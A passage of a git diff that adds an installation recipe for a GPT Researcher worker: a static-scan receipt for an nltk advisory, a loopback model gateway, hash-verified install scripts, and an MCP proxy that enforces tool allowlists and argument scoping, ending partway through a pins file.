availability check of the same bleu_score names (validator defined at line 72)"}, + {"package": "langchain-classic", "version": "1.0.8", "file": "langchain_classic/text_splitter.py", "line": 22, "symbol": "NLTKTextSplitter", "calls_affected_api": false, "note": "re-exports langchain_text_splitters.nltk.NLTKTextSplitter; no nltk import of its own"} + ], + "caller_scan": { + "import_forms": "rg for import ... nltk, from nltk, importlib.import_module('nltk...') and __import__('nltk...') over every file of the 196 artifacts other than nltk: 4 hits, the four import lines of the first four callers", + "affected_symbols_outside_nltk": "rg -w TransitionParser|AveragedPerceptron|save_to_json|save_maxent_params|PerceptronTagger over the same files, in default and binary (-a) mode: exit 1", + "nltk_mentions_outside_nltk": "rg -a -i 'nltk' matched 11 files: the four caller files, langchain_text_splitters __init__.py (line 37 imports its nltk module) and its dist-info RECORD, plus non-references: pytest _pytest/doctest.py:579-580 comments, spacy lang/nl/syntax_iterators.py:11 docstring URL, a token in litellm's anthropic_tokenizer.json vocabulary, and base64 coincidences in pymupdf libmupdf.so.28.2 and certifi cacert.pem:2512", + "unstructured": "unstructured 0.27.9 and unstructured-client 0.46.2: no case-insensitive 'nltk' in any file (rg exit 1); unstructured/nlp/tokenize.py imports spacy", + "nltk_internal_paths": "The nltk modules these callers enter (nltk/tokenize, nltk/corpus, nltk/translate, nltk/downloader.py, nltk/data.py) reference none of the five affected symbols (rg exit 1). Inside the nltk wheel the symbols occur only in tag/perceptron.py, tag/__init__.py, tag/api.py, parse/transitionparser.py, parse/__init__.py, classify/maxent.py, chunk/named_entity.py and nltk/test.", + "affected_api_locations": "nltk 3.10.3 wheel: AveragedPerceptron.save/load at tag/perceptron.py:176-184 (builtin open()); PerceptronTagger.save_to_json at tag/perceptron.py:332 (called by PerceptronTagger.train when save_loc is given, line 330); TransitionParser.train/parse at parse/transitionparser.py:524 and 568 (builtin open() at 564 and 583); save_maxent_params at classify/maxent.py:1583 (builtin open() on the caller's tab_dir). load_maxent_params (maxent.py:1560) reads through nltk.data.open_datafile." + }, + "pathsec_default": { + "artifact": "nltk-3.10.3-py3-none-any.whl", + "file": "nltk/pathsec.py", + "lines": "26-28", + "value": "ENFORCE = True", + "note": "Module constant; line 27 is the commented-out '# ENFORCE = False'. pathsec.py reads NLTK_DATA (line 88, allowed data roots) and NLTK_ALLOW_PROXIED_URLOPEN (line 533) from the environment; no variable overrides ENFORCE. The advisory's first precondition therefore holds by default; its second (untrusted input choosing model import or export paths through the affected APIs) has no caller in the scanned code." + }, + "recipe_code_scope": "blueprints/runtime-workers/gpt-researcher/*.py (cli_runner.py, dispatch.py, gateway.py, install_support.py, mcp_proxy.py) and, additionally, e2e/*.py (check.py, grader.py, receipt.py, run.py): import forms 0; affected symbols and nltk-caller class names 0 (rg exit 1); case-insensitive 'nltk' 1 hit in the top-level files, 0 in e2e (rg exit 1)", + "recipe_code_hits": [ + {"file": "blueprints/runtime-workers/gpt-researcher/dispatch.py", "line": 108, "text": "\"NLTK_DATA\": str(run_dir / \"cache/nltk\")", "kind": "child_environment() points the worker's NLTK data path at a run-scoped cache; not an import or API call. pathsec treats NLTK_DATA entries as allowed roots (pathsec.py:88)."} + ], + "conclusion": "Static scan: no file of the 196 hash-verified locked artifacts other than nltk, none of GPT Researcher 0957c301's 364 .py files and none of the recipe's Python references TransitionParser, AveragedPerceptron, PerceptronTagger, save_to_json or save_maxent_params, so GHSA-8mgp-746c-j5xp's affected model import/export APIs are not statically referenced from the worker's code. The lock's only nltk callers are langchain-text-splitters 1.1.2 (Punkt sentence splitting; the stopwords corpus only with stopword_removal=True) and langchain-community 0.4.2 (BLEU scoring), and GPT Researcher references none of those classes. nltk 3.10.3 stays installed (GPT Researcher declares it at pyproject.toml:111) and is loaded at import through langchain_text_splitters; OSV lists it as affected with no patched release, and pathsec is on by default. The pin remains an affected version; this receipt supports the scoped allowance for this lock in tests/test_osv_lockfile_coverage.py:50-55, not a claim that nltk 3.10.3 is safe.", + "limits": [ + "Static text scan only: nothing was installed, imported or executed. Dynamic dispatch that never names nltk or the affected symbols (computed getattr, plugin entry points, deserialized objects) would not appear.", + "One artifact per pin: the wheel pip selected for cp312 with the manylinux2014/2_17/2_28 x86_64 tags, or the sdist for docopt, langdetect and sgmllib3k. The lock's other 4,140 hashed distributions (other platforms or Python versions) were not scanned; a host that installs a different wheel of the same version needs its own check.", + "The three sdists were scanned as source; their build output was not produced or examined, and their hashes were checked by our script rather than pip --require-hashes.", + "GPT Researcher was scanned from GitHub's legacy tarball; identity with the pins.json codeload archive rests on six per-file sha256 matches, not the archive hash.", + "Runtime inputs (research prompts, retrieved documents, MCP tool results) were not exercised; the claim concerns code references.", + "Advisory state is the OSV record fetched 2026-09-27T21:59:19Z (modified 2026-09-02T14:45:06Z) and PyPI at 2026-09-27T22:03:25Z; a later OSV modification or nltk release needs a new check.", + "The build and proxy locks were checked only for an nltk pin (0 lines each), and the grader's upstream uv.lock only for an nltk mention (0); none of their artifacts was scanned.", + "This is not an osv-scanner run; .github/osv-scanner.toml's GHSA-8mgp-746c-j5xp ignore reason cites only the Lumibot evaluation lock at this base." + ], + "evidence_class": "local static scan of hash-verified locked artifacts and pinned source (no install, no execution)" +} diff --git a/blueprints/runtime-workers/gpt-researcher/gateway.py b/blueprints/runtime-workers/gpt-researcher/gateway.py new file mode 100644 index 000000000..d3fe351b5 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/gateway.py @@ -0,0 +1,200 @@ +"""Scoped gateway transport, using upstream client hooks, not a proxy service. + +Sources: GPT Researcher 0957c301 generic/base.py:146-158; +langchain-openai 1.6.6 chat_models/base.py:1022-1034 (HTTP client injection); +httpx 0.28.1 docs/advanced/event-hooks.md (request header mutation); +DRB-II b38f360 gpt_client.py:85-109 and run_evaluation.py:95-116 (wire schema). +""" +from contextlib import asynccontextmanager +import copy +import json +import math +import re +import uuid + +BASE_URL = "http://127.0.0.1:20128/v1" +CHAT_URL = BASE_URL + "/chat/completions" +DRB_RESPONSE_FORMAT = { + "type": "json_schema", + "json_schema": { + "name": "drb2_rubric_scores", "strict": True, + "schema": { + "type": "object", "additionalProperties": False, "required": ["results"], + "properties": {"results": {"type": "array", "items": { + "type": "object", "additionalProperties": False, + "required": ["rubric_item", "score", "reason", "evidence"], + "properties": { + "rubric_item": {"type": "string"}, + "score": {"type": "integer", "enum": [-1, 0, 1]}, + "reason": {"type": "string"}, "evidence": {"type": "string"} + } + }}} + } + } +} + + +def model_id(value): + if not isinstance(value, str) or value not in { + "cx/gpt-6.1-sol", "cx/gpt-6.1-sol-max", "cx/gpt-6-sol-max", "cx/gpt-6-sol-medium", + "cx/gpt-6-astra", "cx/gpt-6-astra-max", "sharedgw/gpt-6-astra-max", + }: + raise ValueError("this gateway recipe accepts only approved GPT-6 model routes") + return value + + +def select_routes(env): + """Round-3 common arm contract; CLI CONFIG_PATH: GPTR@0957c301 config.py:158-166.""" + arm = env.get("RUNTIME_WORKER_ARM", "control") + if arm not in ("control", "engines-on"): + raise ValueError("unknown worker arm") + base = "http://127.0.0.1:20129/v1" if arm == "engines-on" else BASE_URL + model = "sharedgw/gpt-6-astra-max" if arm == "engines-on" else "cx/gpt-6-astra-max" + worker = {"base_url": env.get("GPTR_BASE_URL", base), "model": env.get("GPTR_MODEL", model)} + judge = {"base_url": env.get("GPTR_JUDGE_BASE_URL", BASE_URL), + "model": env.get("GPTR_JUDGE_MODEL", "cx/gpt-6-astra-max")} + if worker["base_url"] != base or judge["base_url"] != BASE_URL: + raise ValueError("base URL does not match worker arm or control judge") + for route in (worker, judge): + validate_route(**route) + return {"arm": arm, "worker": worker, "judge": judge} + + +def validate_route(base_url, model): + model_id(model) + expected = "http://127.0.0.1:20129/v1" if model.startswith("sharedgw/") else BASE_URL + if base_url != expected: + raise ValueError("model namespace does not match the allowlisted gateway") + + +def render_config(template, route, session): + validate_route(**route) + cfg = copy.deepcopy(template) + for role in ("FAST_LLM", "SMART_LLM", "STRATEGIC_LLM"): + cfg[role] = "openai:" + route["model"] + headers = {"x-omniroute-session": session} + if route["base_url"].endswith(":20129/v1"): + headers["x-omniroute-compression"] = "allow-lossy" + cfg["LLM_KWARGS"].update(base_url=route["base_url"], default_headers=headers, + reasoning_effort="max") + # GPTR@0957c301 forwards LLM_KWARGS; langchain-openai@1.6.6 accepts extra_body. + extra_body = dict(cfg["LLM_KWARGS"].get("extra_body") or {}) + extra_body["reasoning"] = {**(extra_body.get("reasoning") or {}), "effort": "max"} + cfg["LLM_KWARGS"]["extra_body"] = extra_body + return cfg + + +def strict_objects(schema): + """Reject, rather than silently rewrite, an unsafe strict schema.""" + if isinstance(schema, list): + for child in schema: + strict_objects(child) + elif isinstance(schema, dict): + types = schema.get("type") + if types == "object" or (isinstance(types, list) and "object" in types) or "properties" in schema: + if (schema.get("additionalProperties") is not False + or set(schema.get("required", [])) != set(schema.get("properties", {}))): + raise ValueError("strict schema requires closed objects and all properties required") + for child in schema.values(): + strict_objects(child) + + +class GatewayTransport: + def __init__(self, session, base_url=BASE_URL, model="cx/gpt-6-astra-max", correlation_log=None): + if not session or not re.fullmatch(r"[a-zA-Z0-9_-]+", session): + raise ValueError("invalid conversation identifier") + self.session = session + validate_route(base_url, model) + self.base_url = base_url + self.model = model + self.correlation_log = correlation_log + + def record(self, event): + if self.correlation_log is not None: + with self.correlation_log.open("a") as handle: + handle.write(json.dumps(event) + "\n") + + def response_hook(self, response): + # HTTPX@0.28.1 docs/advanced/event-hooks.md:5-7,35-40: headers are + # available before streamed bodies; never read the body in this hook. + correlation = response.headers.get("X-Correlation-Id") + if not isinstance(correlation, str) or not re.fullmatch(r"[A-Za-z0-9_.:-]{1,200}", correlation): + correlation = None + self.record({"event": "response", "correlation_id": correlation}) + + async def async_response_hook(self, response): + self.response_hook(response) + + def headers(self, payload): + validate_route(self.base_url, payload.get("model")) + temperature = payload.get("temperature") + if temperature is not None and (type(temperature) not in (int, float) + or not math.isfinite(temperature) or temperature <= 0.1): + raise ValueError("temperature must be omitted or greater than 0.1") + # Validate both Chat Completions and Responses format locations. + fmt = payload.get("response_format") or payload.get("text", {}).get("format") + if fmt and fmt.get("type") != "text": + definition = fmt.get("json_schema", fmt) + if fmt.get("type") != "json_schema" or definition.get("strict") is not True: + raise ValueError("use tool calling or a strict JSON schema, never json_object") + strict_objects(definition["schema"]) + for tool in payload.get("tools", []): + function = tool.get("function", tool) + if function.get("strict"): + strict_objects(function.get("parameters", {})) + headers = {"x-omniroute-session": self.session, "Idempotency-Key": uuid.uuid4().hex} + if self.base_url == "http://127.0.0.1:20129/v1": + headers["x-omniroute-compression"] = "allow-lossy" + return headers + + def request_hook(self, request): + if str(request.url) not in (self.base_url + "/chat/completions", self.base_url + "/responses"): + raise ValueError("unexpected model endpoint") + request.headers.update(self.headers(json.loads(request.content))) + self.record({"event": "request"}) + + async def async_request_hook(self, request): + self.request_hook(request) + + def grader_post(self, sender): + """Adapt DRB-II's module-local requests.post; leave its prompt intact.""" + def post(url, **kwargs): + if url != self.base_url + "/chat/completions": + raise ValueError("unexpected grader endpoint") + payload = {**kwargs["json"], "response_format": copy.deepcopy(DRB_RESPONSE_FORMAT)} + kwargs["json"] = payload + kwargs["headers"] = {**kwargs.get("headers", {}), **self.headers(payload)} + self.record({"event": "request"}) + response = sender(url, **kwargs) + self.response_hook(response) + return response + return post + + @asynccontextmanager + async def worker_clients(self): + """Supply native LangChain clients to every nested researcher factory. + + JSON config cannot carry live HTTP clients. This process-local factory + adapter is restored on exit; upstream source and prompts stay unchanged. + Each SDK generation has retries disabled and receives a fresh key. + Native outer retry loops are separate generation attempts (see README). + """ + import httpx + from gpt_researcher.llm_provider.generic.base import GenericLLMProvider + + descriptor = GenericLLMProvider.__dict__["from_provider"] + original = GenericLLMProvider.from_provider + with httpx.Client(event_hooks={"request": [self.request_hook], "response": [self.response_hook]}, trust_env=False) as sync_client: + async with httpx.AsyncClient(event_hooks={"request": [self.async_request_hook], "response": [self.async_response_hook]}, trust_env=False) as async_client: + def factory(cls, provider, **kwargs): + if provider != "openai": + raise ValueError("only GPT-6 OpenAI-compatible routing is configured") + model_id(kwargs.get("model")) + kwargs.update(http_client=sync_client, http_async_client=async_client, + max_retries=0, temperature=None, base_url=self.base_url) + return original(provider, **kwargs) + GenericLLMProvider.from_provider = classmethod(factory) + try: + yield + finally: + GenericLLMProvider.from_provider = descriptor diff --git a/blueprints/runtime-workers/gpt-researcher/host.template.json b/blueprints/runtime-workers/gpt-researcher/host.template.json new file mode 100644 index 000000000..34121ee68 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/host.template.json @@ -0,0 +1,9 @@ +{ + "ECO_ROOT": "", + "HOST_PATH": "", + "QMD_CONFIG_DIR": "", + "QMD_INDEX_PATH": "", + "AI_MEMORY_URL": "127.0.0.1:49474", + "MEMORY_PROJECT": "", + "MEMORY_WORKSPACE": "" +} diff --git a/blueprints/runtime-workers/gpt-researcher/install.sh b/blueprints/runtime-workers/gpt-researcher/install.sh new file mode 100755 index 000000000..2e626d374 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/install.sh @@ -0,0 +1,39 @@ +#!/usr/bin/env bash +# Native source + PEP 517 build: upstream v3.7.0 pyproject.toml and getting-started.md. +set -euo pipefail +umask 077 +recipe_dir="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +prefix="${GPTR_PREFIX:-$HOME/.local/share/codex-ecosystem/tools/gpt-researcher-3.7.0}" +state="${GPTR_STATE_ROOT:-$HOME/.local/state/native-agent-stack/runtime-workers/gpt-researcher}" +python_bin="${GPTR_PYTHON:-/usr/bin/python3.12}" +command -v uv >/dev/null +"$python_bin" -c 'import sys,platform; assert sys.version_info[:2] == (3,12) and platform.system() == "Linux" and platform.machine() == "x86_64", "lock target: Linux x86_64 / Python 3.12"' +mkdir -p "$state" "$state/cache" "$state/downloads" "$state/runs" "$state/work" "$state/config" +chmod 700 "$state" "$state/cache" "$state/downloads" "$state/runs" "$state/work" "$state/config" +exec 9>"$state/install.lock" +flock 9 +export UV_CACHE_DIR="$state/cache/uv" UV_PYTHON_DOWNLOADS=never PYTHONDONTWRITEBYTECODE=1 +export XDG_CACHE_HOME="$state/cache" XDG_CONFIG_HOME="$state/config" +"$python_bin" "$recipe_dir/install_support.py" "$recipe_dir" "$prefix" "$state" +if [[ ! -x "$prefix/venv/bin/python" ]]; then + uv venv --python "$python_bin" --no-python-downloads "$prefix/venv" +fi +uv pip install --python "$prefix/venv/bin/python" --require-hashes --only-binary=:all: --no-deps -r "$recipe_dir/build-requirements.lock" +uv pip install --python "$prefix/venv/bin/python" --require-hashes --no-build-isolation --no-deps -r "$recipe_dir/requirements.lock" +# Source archive is verified before extraction. Build dependencies are already hash locked. +uv pip install --python "$prefix/venv/bin/python" --no-deps --no-build-isolation "$prefix/source/gpt-researcher-0957c301ed06c2a5857b834358c7227c739041d4" +if [[ ! -x "$prefix/proxy-venv/bin/python" ]]; then + uv venv --python "$python_bin" --no-python-downloads "$prefix/proxy-venv" +fi +uv pip install --python "$prefix/proxy-venv/bin/python" --require-hashes --only-binary=:all: --no-deps -r "$recipe_dir/proxy-requirements.lock" +uv pip check --python "$prefix/venv/bin/python" +uv pip check --python "$prefix/proxy-venv/bin/python" +# DRB-II README installation: uv sync; retain its own native lock, separate from GPTR. +grader_source="$prefix/grader-source/DeepResearch-Bench-II-b38f360603db9531b102aef8c166cedb8509b6f6" +# uv native flags refuse sdist builds; DRB-II scripts need dependencies only. +UV_PROJECT_ENVIRONMENT="$prefix/grader-venv" uv sync --locked --no-build --no-install-project --project "$grader_source" --python "$python_bin" +uv pip check --python "$prefix/grader-venv/bin/python" +"$prefix/venv/bin/python" -c 'from importlib.metadata import version; assert version("gpt-researcher") == "0.16.0"; from gpt_researcher.context.select import resolve_context_filter; assert resolve_context_filter("keyword") == "keyword"; print("source package 0.16.0; keyword filter import passed")' +cp "$recipe_dir/pins.json" "$prefix/installation-pins.json" +chmod 600 "$prefix/installation-pins.json" +printf '%s\n' 'Installed GPT Researcher v3.7.0 and pinned DRB-II grader. Live acceptance remains unmeasured.' diff --git a/blueprints/runtime-workers/gpt-researcher/install_support.py b/blueprints/runtime-workers/gpt-researcher/install_support.py new file mode 100644 index 000000000..4511df60f --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/install_support.py @@ -0,0 +1,58 @@ +"""Hash verification/extraction glue for the upstream native source recipe. + +References: pinned pyproject.toml PEP 517 backend, PyPI JSON digests, +https://docs.python.org/3.12/library/tarfile.html#extraction-filters . +""" +import hashlib +import json +from pathlib import Path +import sys +import tarfile +import urllib.request + + +def digest(path): + with path.open("rb") as handle: + return hashlib.file_digest(handle, "sha256").hexdigest() + + +def extract(artifact, archive, source): + if not archive.exists() or digest(archive) != artifact["sha256"]: + temporary = archive.with_suffix(".download") + with urllib.request.urlopen(artifact["url"], timeout=120) as response, temporary.open("wb") as output: + while block := response.read(1024 * 1024): + output.write(block) + if digest(temporary) != artifact["sha256"]: + raise SystemExit("source archive checksum mismatch") + temporary.replace(archive) + source.mkdir(parents=True, exist_ok=True, mode=0o700) + # Re-extract verified immutable bytes on every run; do not trust a stale source tree. + with tarfile.open(archive) as bundle: + if any(member.issym() or member.islnk() for member in bundle.getmembers()): + raise SystemExit("source archive contains unsupported links") + bundle.extractall(source, filter="data") + + +def main(): + recipe, prefix, state = map(Path, sys.argv[1:]) + pins = json.loads((recipe / "pins.json").read_text()) + for name, expected in pins["locks"].items(): + if digest(recipe / name) != expected: + raise SystemExit("lock checksum mismatch: " + name) + source = prefix / "source" + extract(pins["source_archive"], state / "downloads/source.tar.gz", source) + project = source / ("gpt-researcher-" + pins["commit"]) + for name, expected in pins["upstream_files"].items(): + if digest(project / name) != expected: + raise SystemExit("upstream file checksum mismatch: " + name) + grader = pins["grader"] + source = prefix / "grader-source" + extract(grader["source_archive"], state / "downloads/grader-source.tar.gz", source) + project = source / ("DeepResearch-Bench-II-" + grader["commit"]) + for name, expected in grader["files"].items(): + if digest(project / name) != expected: + raise SystemExit("upstream grader checksum mismatch: " + name) + + +if __name__ == "__main__": + main() diff --git a/blueprints/runtime-workers/gpt-researcher/mcp-policy.json b/blueprints/runtime-workers/gpt-researcher/mcp-policy.json new file mode 100644 index 000000000..3f017510a --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/mcp-policy.json @@ -0,0 +1,45 @@ +{ + "direct_servers_enabled": false, + "enforcement": "FastMCP 4.0.10 stdio proxy; list and call middleware; no direct GPT Researcher tool filtering", + "launch_sources": ["adoption/templates/codex.config.template.toml", "adoption/templates/codex.stack-worker.config.toml"], + "servers": { + "context-mode": { + "active": true, + "command": "${ECO_ROOT}/bin/node", + "args": ["${ECO_ROOT}/tools/context-mode-1.0.169/lib/node_modules/context-mode/start.mjs"], + "env": {"RTK_TELEMETRY_DISABLED": "1", "PATH": "${ECO_ROOT}/bin:${HOST_PATH}", "CONTEXT_MODE_PLATFORM": "codex", "CONTEXT_MODE_PROJECT_DIR": "${WORKER_SCRATCH}", "CONTEXT_MODE_DIR": "${WORKER_STATE}/context-mode"}, + "cwd": "${WORKER_SCRATCH}", + "disabled_tools": ["ctx_upgrade", "ctx_purge", "ctx_execute", "ctx_execute_file", "ctx_batch_execute", "ctx_fetch_and_index"], + "enabled_tools": ["ctx_search", "ctx_index"] + }, + "qmd": { + "active": true, + "command": "${ECO_ROOT}/bin/qmd", + "args": ["--index", "native-agent-stack-catalog", "mcp"], + "env": {"QMD_CONFIG_DIR": "${QMD_CONFIG_DIR}", "INDEX_PATH": "${QMD_INDEX_PATH}", "PATH": "${ECO_ROOT}/bin:${HOST_PATH}"}, + "enabled_tools": ["query", "get"], + "collections": ["foundation-docs", "foundation-adoption", "us-equities-foundation", "us-equities-catalog"], + "query_mode": "lexical only; rerank false; bounded explicit collections" + }, + "ai-memory": { + "active": true, + "url": "http://${AI_MEMORY_URL}/mcp", + "enabled_tools": ["memory_query", "memory_read_page", "memory_recent", "memory_status", "memory_briefing"] + }, + "socraticode": { + "active": false, + "reason": "Coding search omitted for this research role", + "command": "${ECO_ROOT}/bin/node", + "args": ["${ECO_ROOT}/tools/socraticode-1.14.0/lib/node_modules/socraticode/dist/index.js"], + "enabled_tools": ["codebase_search", "codebase_status", "codebase_list_projects", "codebase_health"], + "env": {"SOCRATICODE_WATCHER": "manual"} + }, + "headroom": { + "active": false, + "reason": "Native BM25 and tool output bounds selected; no demonstrated offload gap", + "command": "${ECO_ROOT}/bin/headroom", + "args": ["mcp", "serve", "--proxy-url", "http://127.0.0.1:1"], + "enabled_tools": ["headroom_compress", "headroom_retrieve", "headroom_stats"] + } + } +} diff --git a/blueprints/runtime-workers/gpt-researcher/mcp_proxy.py b/blueprints/runtime-workers/gpt-researcher/mcp_proxy.py new file mode 100644 index 000000000..459570786 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/mcp_proxy.py @@ -0,0 +1,189 @@ +"""Local policy glue using unchanged FastMCP 4.0.10 proxy/middleware APIs. + +Reference implementation: PrefectHQ/fastmcp v4.0.10 +docs/servers/middleware.mdx:751-768 and docs/servers/providers/proxy.mdx:260-275. +Commands come exclusively from this checkout's two adoption MCP templates. +This is integration code, not a feature of GPT Researcher. +""" +import argparse +import json +from pathlib import Path, PurePosixPath +import re +import stat +from string import Template +from urllib.parse import unquote, urlsplit + +HERE = Path(__file__).resolve().parent +POLICY = json.loads((HERE / "mcp-policy.json").read_text()) + + +def load_host(path): + path = Path(path).resolve() + if path.is_relative_to(HERE.parents[2]): + raise ValueError("host settings must be outside the checkout") + if stat.S_IMODE(path.stat().st_mode) != 0o600: + raise ValueError("host settings must have mode 0600") + host = json.loads(path.read_text()) + required = {"ECO_ROOT", "HOST_PATH", "AI_MEMORY_URL", "MEMORY_PROJECT", + "QMD_CONFIG_DIR", "QMD_INDEX_PATH", "MEMORY_WORKSPACE"} + if set(host) != required or any(not isinstance(v, str) or not v or "<" in v or "\n" in v for v in host.values()): + raise ValueError("fill all private host settings; unknown fields refused") + for field in ("ECO_ROOT", "QMD_CONFIG_DIR"): + if not Path(host[field]).is_absolute() or not Path(host[field]).is_dir(): + raise ValueError("host directory unavailable") + index = Path(host["QMD_INDEX_PATH"]) + if not index.is_absolute() or not index.is_file(): + raise ValueError("existing catalog index unavailable") + if not (Path(host["QMD_CONFIG_DIR"]) / "native-agent-stack-catalog.yml").is_file(): + raise ValueError("existing named QMD collection configuration unavailable") + if not re.fullmatch(r"127\.0\.0\.1:[0-9]{1,5}", host["AI_MEMORY_URL"]): + raise ValueError("memory endpoint must be loopback") + return host + + +def allowed(server, tool): + settings = POLICY["servers"].get(server, {}) + return (settings.get("active", False) and tool in settings.get("enabled_tools", []) + and tool not in settings.get("disabled_tools", [])) + + +def scope_arguments(server, tool, arguments, host): + if not allowed(server, tool): + raise ValueError("tool unavailable") + args = dict(arguments or {}) + if server == "context-mode": + # context-mode@v1.0.169 src/server.ts:2267-2309 accepts file paths too. + # Only literal content is authorized; fetch is disabled altogether so + # redirects, DNS rebinding and a second unguarded network client cannot + # bypass the native GPTR URL guard. + if tool == "ctx_index": + if (set(args) - {"content", "source"} or not isinstance(args.get("content"), str) + or not 0 < len(args["content"]) <= 32000 + or not isinstance(args.get("source", ""), str)): + raise ValueError("index accepts bounded literal content only") + elif tool != "ctx_search": + raise ValueError("context-mode tool unavailable") + elif server == "qmd": + collections = POLICY["servers"][server]["collections"] + if tool == "query": + selected = args.get("collections", collections) + if not isinstance(selected, list) or not selected or not set(selected) <= set(collections): + raise ValueError("collection outside worker scope") + args["collections"] = selected + if "query" in args: + args["searches"] = [{"type": "lex", "query": args.pop("query")}] + if not args.get("searches") or any(s.get("type") != "lex" for s in args["searches"]): + raise ValueError("QMD worker uses lexical search only") + args["rerank"] = False + args["limit"] = min(max(int(args.get("limit", 5)), 1), 5) + args["candidateLimit"] = min(max(int(args.get("candidateLimit", 20)), 1), 20) + elif tool == "get": + path = urlsplit(str(args.get("file", ""))) + decoded = unquote(path.path) + if (path.scheme != "qmd" or path.netloc not in collections or not decoded.strip("/") + or path.query or path.fragment or ".." in PurePosixPath(decoded).parts + or any(c in decoded for c in "*?[]\\%\x00")): + raise ValueError("use qmd://allowed-collection/document path; docids refused") + args["maxLines"] = min(max(int(args.get("maxLines", 120)), 1), 120) + elif server == "ai-memory": + args["project"] = host["MEMORY_PROJECT"] + args["workspace"] = host["MEMORY_WORKSPACE"] + if tool == "memory_query": + # Installed MCP schema requires both fields for static clients. + args.pop("scopes", None) + args["global"] = False + args["answer"] = False + args["limit"] = min(max(int(args.get("limit", 5)), 1), 5) + elif tool == "memory_read_page": + args["include_related"] = False + elif tool in ("memory_recent", "memory_briefing"): + key = "limit" if tool == "memory_recent" else "recent_pages_limit" + args[key] = min(max(int(args.get(key, 5)), 1), 5) + return args + + +def server_config(server, host, run_dir): + settings = POLICY["servers"][server] + if not settings["active"]: + raise ValueError("server is not active for this role") + run_dir = Path(run_dir).resolve() + values = {**host, "WORKER_STATE": str(run_dir), "WORKER_SCRATCH": str(run_dir / "mcp-work")} + def expand(value): + if isinstance(value, str): + return Template(value).substitute(values) + if isinstance(value, list): + return [expand(v) for v in value] + return {k: expand(v) for k, v in value.items()} + config = {k: expand(settings[k]) for k in ("command", "args", "env", "url", "cwd") if k in settings} + if "command" in config: + config.setdefault("cwd", values["WORKER_SCRATCH"]) + config.setdefault("env", {})["HOME"] = str(run_dir / "home") + return config + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("server", choices=[n for n, s in POLICY["servers"].items() if s["active"]]) + parser.add_argument("--host-file", required=True) + parser.add_argument("--run-dir", required=True, type=Path) + opts = parser.parse_args() + host = load_host(opts.host_file) + # Imported only in the separate proxy venv (FastMCP4 needs MCP2). + from fastmcp.server import create_proxy + from fastmcp.server.middleware import Middleware + from fastmcp.exceptions import ToolError + + class WorkerPolicy(Middleware): + async def on_list_tools(self, context, call_next): + tools = [tool for tool in await call_next(context) if allowed(opts.server, tool.name)] + if opts.server == "qmd": + for tool in tools: + tool.description += (" Worker policy: query uses lexical searches only; get requires " + "qmd://collection/path, never a docid. Allowed collections: " + + ", ".join(POLICY["servers"]["qmd"]["collections"])) + return tools + + async def on_call_tool(self, context, call_next): + try: + context.message.arguments = scope_arguments(opts.server, context.message.name, + context.message.arguments, host) + except (ValueError, TypeError, KeyError, AttributeError): + raise ToolError("Tool or arguments outside worker scope") from None + try: + result = await call_next(context) + except Exception: + # QMD may suggest out-of-collection paths on failed lookup. + raise ToolError("Scoped tool failed; details remain in private server logs") from None + # No silent truncation: the model must narrow an oversized request. + serialized = result.model_dump_json() if hasattr(result, "model_dump_json") else str(result) + if len(serialized) > 32000: + raise ToolError("Tool output exceeds 32000 characters; narrow the request") + if opts.server == "qmd" and context.message.name == "get": + # QMD returns successful content as an embedded resource, not + # structured_content. Its error text may suggest unrelated files. + if getattr(result, "is_error", False): + raise ToolError("Scoped document unavailable") + return result + + async def on_list_resources(self, context, call_next): + return [] + + async def on_list_resource_templates(self, context, call_next): + return [] + + async def on_list_prompts(self, context, call_next): + return [] + + async def on_read_resource(self, context, call_next): + raise ToolError("Resource access disabled for worker") + + async def on_get_prompt(self, context, call_next): + raise ToolError("Prompt access disabled for worker") + + proxy = create_proxy({"mcpServers": {"default": server_config(opts.server, host, opts.run_dir)}}, name="ScopedResearchTools") + proxy.add_middleware(WorkerPolicy()) + proxy.run(transport="stdio", show_banner=False) + + +if __name__ == "__main__": + main() diff --git a/blueprints/runtime-workers/gpt-researcher/pins.json b/blueprints/runtime-workers/gpt-researcher/pins.json new file mode 100644 index 000000000..9d1f0a3ae --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/pins.json @@ -0,0 +1,88 @@ +{ + "release": "v3.7.0", + "commit": "0957c301ed06c2a5857b834358c7227c739041d4", + "package_version": "0.16.0", + "python_target": "CPython 3.12, Linux x86_64", + "source_archive": { + "url": "https://codeload.github.com/assafelovic/gpt-researcher/tar.gz/0957c301ed06c2a5857b834358c7227c739041d4", + "sha256": "0363b2e46629ee3add884212d09e6a56d9f7602c2adadff506910191b4c84c5c", + "hash_origin": "SHA256 of actual codeload bytes, independently repeated by coordinator worker; no upstream signature" + }, + "pypi_artifacts_not_selected": [ + { + "filename": "gpt_researcher-0.16.0-py3-none-any.whl", + "url": "https://files.pythonhosted.org/packages/9e/eb/14f41d725affadf9c00f05cbb5399cc5ac614697b9c8b4a68eb6f346c4f6/gpt_researcher-0.16.0-py3-none-any.whl", + "sha256": "392432eea1757fa16462604e6579e425d57aa83f7d1ecc622a5807ada94fc043" + }, + { + "filename": "gpt_researcher-0.16.0.tar.gz", + "url": "https://files.pythonhosted.org/packages/7d/26/1fa27951b0b812901cb6cf68fb2341aa2f892df0192e06a75dc4be7c5e3a/gpt_researcher-0.16.0.tar.gz", + "sha256": "5892dcd1f6e03b5f6c26eb24f33e5959c599cd06027eceed692e00d2e147035c" + } + ], + "wheel_comparison": { + "shared_python_files": 122, + "changed": 55, + "missing_filter_files": true + }, + "upstream_files": { + "pyproject.toml": "53b8d59bb05e5e1ec854703b6e487ababaeab53d49f0a25a3e549947312dfcd6", + "requirements.txt": "6d11deb240ef10a18f2d2ad1f51c0e3c273d65d8f988d3e51e7c85da2cb3259d", + "cli.py": "b0cdeb184d592aadc32cb54e20d09b47aca23e0f34f2092cb8ead4f8940f52de", + "gpt_researcher/utils/llm.py": "f22942e27b1356724daa3fc8dc0629ecbffe361f84455ee278a72b75668a2768", + "gpt_researcher/utils/url_security.py": "c263ac45bd5f26adaca42b57880daca58041756a5748c65a2581602cb4eeba9e", + "gpt_researcher/scraper/scraper.py": 